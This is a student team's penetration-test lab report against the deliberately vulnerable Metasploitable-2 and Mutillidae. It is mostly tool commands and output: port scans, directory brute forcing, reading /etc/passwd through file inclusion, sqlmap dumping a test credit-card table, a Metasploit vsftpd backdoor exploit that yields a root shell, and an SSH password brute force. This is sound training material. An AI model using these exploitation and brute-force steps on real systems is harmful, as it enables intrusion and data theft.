

TEAM 2.5 (WEB APP PENTEST)

Adit Wani - 20BIT0188
Niladri Mitra - 20BIT0381
Ch Kartik - 20BIT0340
Abhirup Konwar - 20BIT0181

Practice Site : Metasploitable-2 (mutillidae)

NMAP SCAN(default scripts + service version + operating system)

```
(kali㉿kali)-[~]
└─$ sudo nmap -sCV -O 192.168.50.131
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 11:42 IST
Nmap scan report for 192.168.50.131
Host is up (0.00073s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ STAT:
|   FTP server status:
|       Connected to 192.168.50.128
|       Logged in as ftp
|       TYPE: ASCII
|       No session bandwidth limit
|       Session timeout in seconds is 300
|       Control connection is plain text
|       Data connections will be plain text
|       vsFTPD 2.3.4 - secure, fast, stable
End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|_ 1024 600fcfe1c05f6a74d69024fac4d56cccd (DSA)
|_ 2048 5656240f211dea72bae61b1243de8f3 (RSA)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-date: 2023-06-02T14:59:21+00:00; -13d15h13m43s from scanner time.
| sslv2:
|_ SSLv2 supported
| ciphers:
|   SSL2_RC4_128_WITH_MD5
|   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|   SSL2_DES_64_CBC_WITH_MD5
|   SSL2_DES_192_EDE3_CBC_WITH_MD5
|   SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
| Not valid after:  2010-04-16T14:07:45
|_http-commands: metasploithttpd.localdomain PIPELINING SIZE 10240000 VRFLY ETRN STARTTLS ENHANCEDSTATUSCODES 8BITMIME USN
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid:
| bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo:
|_ program version  port/proto  service
  100000  2          111/tcp    rpcbind
  100000  2          111/udp   rpcbind
  100003  2,3,4     2049/tcp   nfs
  100003  2,3,4     2049/udp   nfs
  100005  1,2,3     43078/tcp  mountd
  100005  1,2,3     59702/udp  mountd
  100021  1,3,4     46458/tcp  nlockmgr
  100021  1,3,4     50560/udp  nlockmgr
  100024  1          55070/tcp  status
  100024  1          56536/udp  status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi   GNU Classpath grmregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs        2-4 (RPC #100003)
2121/tcp  open  ftp        ProFTPD 1.3.1
3306/tcp  open  mysql      MySQL 5.0.51a-3ubuntu5
| mysql-info:
|_ Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 11
| Capabilities flags: 43564
| Some Capabilities: ConnectWithDatabase, LongColumnFlag, Support41Auth, SwitchToSSLAfterHandshake, SupportsTransactions, Speaks41ProtocolNew, SupportsCompression
| Status: Autocommit
|_ Salt: f692<//I6nKhN,0Km
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
```

```

|_ Sat, 18 Jun 2023 10:00:00 +0000
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2023-06-02T14:59:21+00:00; -13d15h13m43s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
5900/tcp open vnc VNC (protocol 3.3)
|_vnc-info:
| Protocol version: 3.3
| Security types:
|_VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
|_irc-info:
| users: 1
| servers: 1
| tusers: 1
| lservers: 0
| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 0:40:01
| source ident: nmap
| source host: D7697382.85216C96.FFFA6D49.IP
|_error: Closing Link: tezzjgymi[192.168.50.128] (Quit: tezzjgymi)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:D5:53:38 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -13d14h13m42s, deviation: 2h00m00s, median: -13d15h13m43s
|_nbstat: NetBIOS name: METASPOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
| System time: 2023-06-02T10:59:12-04:00
|_smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/. .
Nmap done: 1 IP address (1 host up) scanned in 24.16 seconds

```

WHATWEB

```

[(kali㉿kali)-~]
$ whatweb 192.168.50.131
http://192.168.50.131 [200 OK] Apache[2.2.8], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.2.8 (Ubuntu) DAV/2], IP[192.168.50.131], PHP[5.2.4-2ubuntu5.10], Title[Metasploitable2 - Linux], WebDAV[2], X-Powered-By[PHP/5.2.4-2ubuntu5.10]

[(kali㉿kali)-~]
$ 

```

GOBUSTER (directory and file enumeration)

xss

← → ⌂ 192.168.50.131/mutillidae/index.php?page=dns-lookup.php

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec MEGA http://127.0.0.1:4444/... VOLSWIFI Authenticat...

Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Core Controls OWASP Top 10 Others Documentation Resources

 Back

DNS Lookup

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP

Lookup DNS

 Back

Mutillidae: Born to be Hacked

Version: 2.1.19 Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

DNS Lookup

Who would you like to do a DNS lookup on?

192.168.50.131

OK

Results for

IDOR

192.168.50.131/mutillidae/index.php?page=text-file-viewer.php

Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec MEGA http://127.0.0.1:4444/ VOLSWIFI Authenticat...

Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Hacker Files of Old

Back

Take the time to read some of these great old school hacker text files. Just choose one from the list and submit.

Text File Name:

For other great old school hacking texts, check out <http://www.textfiles.com/>.

File: http://www.textfiles.com/hacking/auditool.txt

```
Summary of the Trusted Information Systems (TIS) Report on Intrusion Detection Systems - prepared by Victor H. Marshall
*****
INTRUSION DETECTION IN COMPUTERS
January 29, 1991

1. EXECUTIVE SUMMARY. Computer system security officials typically have very few, if any, good automated tools to gather and process auditing information on potential computer system intruders. It is most challenging to determine just what actions constitute potential intrusion in a complex mainframe computer environment. Trusted Information Systems (TIS), Inc. recently
```

192.168.50.131/mutillidae/index.php?page=/etc/passwd

Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec MEGA http://127.0.0.1:4444/ VOLSWIFI Authenticat...

Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

```
root:x:0:0:root:/root/bin/bash
daemon:x:1:1:daemon:/usr/sbin/bin:x:2:2:bin:/bin/bin/sh sys:x:3:sys:/dev/bin/sh sync:x:4:65534:sync:/bin/bin/sync
games:x:5:60:games:/usr/games/bin/sh man:x:6:12:man:/var/cache/man/bin/sh lp:x:7:7:lp:/var/spool/lpd/bin/sh mail:x:8:8:mail:/var/mail/bin/sh news:x:9:9:news:/var/spool/news
/bin/sh uucp:x:10:10:uucp:/var/spool/uucp/bin/sh proxy:x:13:13:proxy:/bin/bin/sh www-data:x:33:33:www-data:/var/www/bin/sh backup:x:34:34:backup:/var/backups/bin/sh
list:x:38:38:Mailing List Manager:/var/list/bin/sh irc:x:39:39:ircd:/var/run/ircd/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/bin/sh
nobody:x:65534:65534:nobody:/nonexistent/bin/sh libuuid:x:100:101:/var/lib/libuuid/bin/sh dhcpc:x:101:102:/nonexistent/bin/false syslog:x:102:103::/home/syslog/bin/false
klog:x:103:104::/home/klog/bin/false sshd:x:104:65534::/var/run/sshd/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,/home/msfadmin/bin/bash bind:x:105:113::/var/cache
/bind/bin/false postfix:x:106:115::/var/spool/postfix/bin/false ftp:x:107:65534::/home/ftp/bin/false postgres:x:108:117:PostgreSQL administrator,,/var/lib/postgresql/bin/bash
mysql:x:109:118:MySQL Server,,/var/lib/mysql/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5/bin/false distccd:x:111:65534::/bin/false user:x:1001:1001:just a
user,111,,/home/user/bin/bash service:x:1002:1002,,,/home/service/bin/bash telnetd:x:112:120:/nonexistent/bin/false proftpd:x:113:65534::/var/run/proftpd/bin/false
statd:x:114:65534::/var/lib/nfs/bin/false
```

SQLi

The screenshot shows a web browser window with the URL `192.168.50.131/mutillidae/index.php?page=view-someones-blog.php`. The page title is "Mutillidae: Born to be Hacked". The header includes version information ("Version: 2.1.19"), security level ("Security Level: 0 (Hosed)"), hints status ("Hints: Disabled (0 - I try harder)"), and user status ("Not Logged In"). Below the header are navigation links: Home, Login/Register, Toggle Hints, Toggle Security, Reset DB, View Log, and View Captured Data. The main content area is titled "View Blogs" and contains a "Back" button, a "View Blog Entries" link, and an "Add To Your Blog" button. A green box at the bottom right says "Select Author and Click to View Blog" with a dropdown menu set to "dreviel" and a "View Blog Entries" button.

The screenshot shows the Burp Suite interface. The title bar reads "Burp Suite Community Edition v2023.4.3 - Temporary Project". The menu bar includes Burp, Project, Intruder, Repeater, Window, Help, and a toolbar with Burp, Project, Intruder, Repeater, Collaborator, Sequencer, Decoder, Comparer, Logger, and Extensions. The "Proxy" tab is selected, showing "HTTP history" and "WebSockets history" tabs, and "Proxy settings". Below the tabs, a message says "Request to http://192.168.50.131:80". The main pane displays a POST request with the following details:

```
POST /mutillidae/index.php?page=view-someones-blog.php HTTP/1.1
Host: 192.168.50.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://192.168.50.131
Connection: close
Referer: http://192.168.50.131/mutillidae/index.php?page=view-someones-blog.php
Cookie: PHPSESSID=c1b8147099d952176e66600b4f2bc1f
Upgrade-Insecure-Requests: 1
author=dreviel&view=someones-blog.php-submit-button=View+Blog+Entries
```

The screenshot shows a terminal window with the following command and output:

```
(kali㉿kali)-[~]
$ sqlmap -u "http://192.168.50.131/mutillidae/index.php?page=view-someones-blog.php" --data n=View+Blog+Entries" --cookie="PHPSESSID=c1b8147099d952176e66600b4f2bc1f" --dbs --batch
```

Below the command, there is a diagram of a database schema with tables and relationships. The output continues with:

```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. Applicable local, state and federal laws. Developers assume no liability and are not responsible for any damages caused by sqlmap.
```

```
[*] starting at 12:47:24 /2023-06-16/
```

```
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL ≥ 4.1
[12:48:22] [INFO] fetching database names
[12:48:22] [INFO] retrieved: 'information_schema'
[12:48:22] [INFO] retrieved: 'dvwa'
[12:48:22] [INFO] retrieved: 'metasploit'
[12:48:23] [INFO] retrieved: 'mysql'
[12:48:23] [INFO] retrieved: 'owasp10'
[12:48:23] [INFO] retrieved: 'tikiwiki'
[12:48:23] [INFO] retrieved: 'tikiwiki195'
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
```

```
(kali㉿kali)-[~]
$ sqlmap -u "http://192.168.50.131/mutillidae/index.php?page=view-someones-blog.php" --data
="author=dreveil&view=someones-blog-php-submit-button=View+Blog+Entries" --cookie="PHPSESSID=
c1b8147099d952176e66600b4f2bc1f" -D owasp10 --tables --batch

      _H_
      | |
      | [ ] | . | . | . | {1.7.2#stable}
      | . | [ , ] | , | , | 
      |_Iv..._|_I_ |_I_ |_I_ | https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:50:08 /2023-06-16/
```

```
[12:50:09] [INFO] fetching tables for database: 'owasp10'
[12:50:10] [WARNING] reflective value(s) found and filtering out
[12:50:10] [INFO] retrieved: 'accounts'
[12:50:11] [INFO] retrieved: 'blogs_table'
[12:50:12] [INFO] retrieved: 'captured_data'
[12:50:12] [INFO] retrieved: 'credit_cards'
[12:50:13] [INFO] retrieved: 'hitlog'
[12:50:13] [INFO] retrieved: 'pen_test_tools'
Database: owasp10
[6 tables]
+-----+
| accounts      |
| blogs_table   |
| captured_data |
| credit_cards  |
| hitlog        |
| pen_test_tools|
+-----+
```

Dumping all the credit cards data

```
kali㉿kali:[~]
File Actions Edit View Help
(kali㉿kali)-[~]
$ sqlmap -u "http://192.168.50.131/mutillidae/index.php?page=view-someones-blog.php" --data
="author=dreveil&view=someones-blog-php-submit-button=View+Blog+Entries" --cookie="PHPSESSID=
c1b8147099d952176e66600b4f2bca1f" -D owasp10 -T credit_cards --dump --batch
{1.7.2#stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
```

```
[12:51:28] [INFO] retrieved. 2018-11-01
Database: owasp10
Table: credit_cards
[5 entries]
+-----+-----+-----+-----+
| ccid | ccv | ccnumber           | expiration |
+-----+-----+-----+-----+
| 1    | 745 | 4444111122223333 | 2012-03-01 |
| 2    | 722 | 7746536337776330 | 2015-04-01 |
| 3    | 461 | 8242325748474749 | 2016-03-01 |
| 4    | 230 | 7725653200487633 | 2017-06-01 |
| 5    | 627 | 1234567812345678 | 2018-11-01 |
+-----+-----+-----+-----+
[12:51:28] [INFO] table 'owasp10.credit_cards' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.50.131/dump/owasp10/credit_cards.csv'
[12:51:28] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.131'
[*] ending @ 12:51:28 /2023-06-16/
```

DIRBUSTER(GUI)

(kali㉿kali)-[~]

```
$ dirbuster
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting OWASP DirBuster
```

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

Target URL (eg http://example.com:80/)
http://192.168.50.131:80

Work Method Use GET requests only Auto Switch (HEAD and GET)

Number Of Threads 10 Threads Go Faster

Select scanning type: List based brute force Pure Brute Force

File with list of dirs/files
/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt

Char set a-zA-Z0-9%20- 1 8

Select starting options: Standard start point URL Fuzz

Brute Force Dirs Be Recursive Dir to start with /

Brute Force Files Use Blank Extension File extension php

URL to fuzz - /test.html?url={dir}.asp
/

Please complete the test details

File Options About Help

http://192.168.50.131:80/

Scan Information \ Results - List View: Dirs: 28 Files: 18 \ Results - Tree View \ Errors: 0

Type	Found	Response	Size
File	/twiki/TWikiHistory.html	200	53610
File	/twiki/TWikiDocumentation.html	200	461288
File	/twiki/readme.txt	200	4691
File	/twiki/license.txt	200	20061
File	/phpMyAdmin/main.php	200	643
File	/phpMyAdmin/index.php	200	643
File	/mutillidae/register.php	200	2000
File	/mutillidae/login.php	200	183
File	/mutillidae/index.php	200	326
File	/mutillidae/home.php	200	3107
File	/index.php	200	1096
File	/dwa/security.php	302	335
File	/dwa/login.php	200	1580
File	/dwa/index.php	302	335
File	/dwa/about.php	302	335
File	/dav/rev.php	200	183
File	/dav/php-reverse-shell.php	200	183
File	/dav/a.txt	200	258

Current speed: 45 requests/sec (Select and right click for more options)

Average speed: (T) 44, (C) 38 requests/sec

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Type	Found	Response	Size
Dir	/twiki/bin/	403	473
Dir	/twiki/	200	1039
Dir	/phpMyAdmin/main/	200	670
Dir	/phpMyAdmin/index/	200	676
Dir	/phpMyAdmin/	200	643
Dir	/mutillidae/register/	200	2000
Dir	/mutillidae/login/	200	183
Dir	/mutillidae/index/	200	326
Dir	/mutillidae/images/	200	6176
Dir	/mutillidae/home/	200	183
Dir	/mutillidae/	200	326
Dir	/index/	200	1096
Dir	/icons/	200	160
Dir	/dwa/security/	302	335
Dir	/dwa/login/	200	297
Dir	/dwa/index/	302	335
Dir	/dwa/dwa/images/	200	2221
Dir	/dwa/dwa/	200	1593
Dir	/dwa/docs/	200	1089
Dir	/dwa/about/	302	335
Dir	/dwa/	302	335
Dir	/dav/x6NSOFWf.htm/	200	891
Dir	/dav/	200	1622
Dir	/cgi-bin/	403	471
Dir	/	200	1094

Current speed: 45 requests/sec (Select and right click for more options)

Average speed: (T) 44, (C) 38 requests/sec

DIRB (CLI)

```
__(kali㉿kali)-[~]
$ dirb http://192.168.50.131:80

_____
DIRB v2.22
By The Dark Raver

_____
START_TIME: Fri Jun 16 17:04:20 2023
URL_BASE: http://192.168.50.131:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

_____
GENERATED WORDS: 4612

_____
Scanning URL: http://192.168.50.131:80/
+ http://192.168.50.131:80/.bash_history (CODE:200|SIZE:84)
+ http://192.168.50.131:80/cgi-bin/ (CODE:403|SIZE:295)
==> DIRECTORY: http://192.168.50.131:80/dav/
+ http://192.168.50.131:80/index (CODE:200|SIZE:891)
+ http://192.168.50.131:80/index.php (CODE:200|SIZE:1891)
+ http://192.168.50.131:80/phpinfo (CODE:200|SIZE:48092)
+ http://192.168.50.131:80/phpinfo.php (CODE:200|SIZE:48104)
==> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/
+ http://192.168.50.131:80/server-status (CODE:403|SIZE:300)
==> DIRECTORY: http://192.168.50.131:80/test/
==> DIRECTORY: http://192.168.50.131:80/twiki/
```

```
____ Entering directory: http://192.168.50.131:80/dav/ ——  
(!) WARNING: Directory IS LISTABLE. No need to scan it.  
(Use mode '-w' if you want to scan it anyway)  
  
____ Entering directory: http://192.168.50.131:80/phpMyAdmin/ ——  
+ http://192.168.50.131:80/phpMyAdmin/calendar (CODE:200|SIZE:4145)  
+ http://192.168.50.131:80/phpMyAdmin/changelog (CODE:200|SIZE:74593)  
+ http://192.168.50.131:80/phpMyAdmin/ChangeLog (CODE:200|SIZE:40540)  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/contrib/  
+ http://192.168.50.131:80/phpMyAdmin/docs (CODE:200|SIZE:4583)  
+ http://192.168.50.131:80/phpMyAdmin/error (CODE:200|SIZE:1063)  
+ http://192.168.50.131:80/phpMyAdmin/export (CODE:200|SIZE:4145)  
+ http://192.168.50.131:80/phpMyAdmin/favicon.ico (CODE:200|SIZE:18902)  
+ http://192.168.50.131:80/phpMyAdmin/import (CODE:200|SIZE:4145)  
+ http://192.168.50.131:80/phpMyAdmin/index (CODE:200|SIZE:4145)  
+ http://192.168.50.131:80/phpMyAdmin/index.php (CODE:200|SIZE:4145)  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/js/  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/lang/  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/libraries/  
+ http://192.168.50.131:80/phpMyAdmin/license (CODE:200|SIZE:18011)  
+ http://192.168.50.131:80/phpMyAdmin/LICENSE (CODE:200|SIZE:18011)  
+ http://192.168.50.131:80/phpMyAdmin/main (CODE:200|SIZE:4227)  
+ http://192.168.50.131:80/phpMyAdmin/navigation (CODE:200|SIZE:4145)  
+ http://192.168.50.131:80/phpMyAdmin/phpinfo (CODE:200|SIZE:0)  
+ http://192.168.50.131:80/phpMyAdmin/phpinfo.php (CODE:200|SIZE:0)  
+ http://192.168.50.131:80/phpMyAdmin/phpmyadmin (CODE:200|SIZE:21389)  
+ http://192.168.50.131:80/phpMyAdmin/print (CODE:200|SIZE:1063)  
+ http://192.168.50.131:80/phpMyAdmin/readme (CODE:200|SIZE:2624)  
+ http://192.168.50.131:80/phpMyAdmin/README (CODE:200|SIZE:2624)  
+ http://192.168.50.131:80/phpMyAdmin/robots (CODE:200|SIZE:26)  
  
+ http://192.168.50.131:80/phpMyAdmin/robots.txt (CODE:200|SIZE:26)  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/scripts/  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/setup/  
+ http://192.168.50.131:80/phpMyAdmin/sql (CODE:200|SIZE:4145)  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/test/  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/themes/  
+ http://192.168.50.131:80/phpMyAdmin/TODO (CODE:200|SIZE:235)  
+ http://192.168.50.131:80/phpMyAdmin/webapp (CODE:200|SIZE:6902)  
  
____ Entering directory: http://192.168.50.131:80/test/ ——  
(!) WARNING: Directory IS LISTABLE. No need to scan it.  
(Use mode '-w' if you want to scan it anyway)  
  
____ Entering directory: http://192.168.50.131:80/twiki/ ——  
=> DIRECTORY: http://192.168.50.131:80/twiki/bin/  
+ http://192.168.50.131:80/twiki/data (CODE:403|SIZE:297)  
+ http://192.168.50.131:80/twiki/index (CODE:200|SIZE:782)  
+ http://192.168.50.131:80/twiki/index.html (CODE:200|SIZE:782)  
=> DIRECTORY: http://192.168.50.131:80/twiki/lib/  
+ http://192.168.50.131:80/twiki/license (CODE:200|SIZE:19440)  
=> DIRECTORY: http://192.168.50.131:80/twiki/pub/  
+ http://192.168.50.131:80/twiki/readme (CODE:200|SIZE:4334)  
+ http://192.168.50.131:80/twiki/templates (CODE:403|SIZE:302)  
  
____ Entering directory: http://192.168.50.131:80/phpMyAdmin/setup/ ——  
+ http://192.168.50.131:80/phpMyAdmin/setup/config (CODE:303|SIZE:1370)  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/setup/frames/  
+ http://192.168.50.131:80/phpMyAdmin/setup/index (CODE:200|SIZE:8618)  
+ http://192.168.50.131:80/phpMyAdmin/setup/index.php (CODE:200|SIZE:8626)  
=> DIRECTORY: http://192.168.50.131:80/phpMyAdmin/setup/lib/  
+ http://192.168.50.131:80/phpMyAdmin/setup/scripts (CODE:200|SIZE:21967)  
+ http://192.168.50.131:80/phpMyAdmin/setup/styles (CODE:200|SIZE:6218)
```

```

+ http://192.168.50.131:80/twiki/bin/save (CODE:302|SIZE:0)
+ http://192.168.50.131:80/twiki/bin/search (CODE:200|SIZE:3550)
+ http://192.168.50.131:80/twiki/bin/statistics (CODE:200|SIZE:1194)
+ http://192.168.50.131:80/twiki/bin/upload (CODE:302|SIZE:0)
+ http://192.168.50.131:80/twiki/bin/view (CODE:200|SIZE:10049)
+ http://192.168.50.131:80/twiki/bin/viewfile (CODE:302|SIZE:0)

--- Entering directory: http://192.168.50.131:80/twiki/lib/ ---
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

--- Entering directory: http://192.168.50.131:80/twiki/pub/ ---
+ http://192.168.50.131:80/twiki/pub/favicon.ico (CODE:200|SIZE:1078)
⇒ DIRECTORY: http://192.168.50.131:80/twiki/pub/Main/

--- Entering directory: http://192.168.50.131:80/phpMyAdmin/setup/frames/ ---
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

--- Entering directory: http://192.168.50.131:80/phpMyAdmin/setup/lib/ ---
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

--- Entering directory: http://192.168.50.131:80/twiki/pub/Main/ ---

END_TIME: Fri Jun 16 17:04:56 2023
DOWNLOADED: 32284 - FOUND: 57

```

(kali㉿kali)-[~]

FTP (backdoor command execution)

```

File Actions Edit View Help
└── (kali㉿kali)-[~]
    └── $ msfconsole -q
      msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date   Rank     Check  Description
-  --
  0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03     excellent  No    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.131
RHOSTS → 192.168.50.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.131:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.131:21 - USER: 331 Please specify the password.
[+] 192.168.50.131:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.50.128:38679 → 192.168.50.131:6200) at 2023-06-21 09:02:17 +0530

/bin/bash -i
bash: no job control in this shell
root@metasploitable:/# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:/# whoami
root
root@metasploitable:/# 
```

SSH(ssh login bruteforce)

```
[(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.50.131
RHOSTS ⇒ 192.168.50.131
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE ⇒ true
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/kali/usernames.txt
USER_FILE ⇒ /home/kali/usernames.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/passwords.txt
PASS_FILE ⇒ /home/kali/passwords.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS ⇒ true
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 192.168.50.131:22 - Starting bruteforce
[-] 192.168.50.131:22 - Failed: 'root:root'
[-] 192.168.50.131:22 - Failed: 'root:admin'
[-] 192.168.50.131:22 - Failed: 'root:msfadmin'
[-] 192.168.50.131:22 - Failed: 'root:test'
[-] 192.168.50.131:22 - Failed: 'root:guest'
```

```
[-] 192.168.50.131:22 - Failed: 'root:user'
[-] 192.168.50.131:22 - Failed: 'root:administrator'
[-] 192.168.50.131:22 - Failed: 'root:oracle'
[-] 192.168.50.131:22 - Failed: 'admin:root'
[-] 192.168.50.131:22 - Failed: 'admin:admin'
[-] 192.168.50.131:22 - Failed: 'admin:msfadmin'
[-] 192.168.50.131:22 - Failed: 'admin:test'
[-] 192.168.50.131:22 - Failed: 'admin:guest'
[-] 192.168.50.131:22 - Failed: 'admin:adm'
[-] 192.168.50.131:22 - Failed: 'admin:mysql'
[-] 192.168.50.131:22 - Failed: 'admin:user'
[-] 192.168.50.131:22 - Failed: 'admin:administrator'
[-] 192.168.50.131:22 - Failed: 'admin:oracle'
[-] 192.168.50.131:22 - Failed: 'msfadmin:root'
[-] 192.168.50.131:22 - Failed: 'msfadmin:admin'
[+] 192.168.50.131:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.50.128:43925 → 192.168.50.131:22) at 2023-06-21 09:10:08 +0530
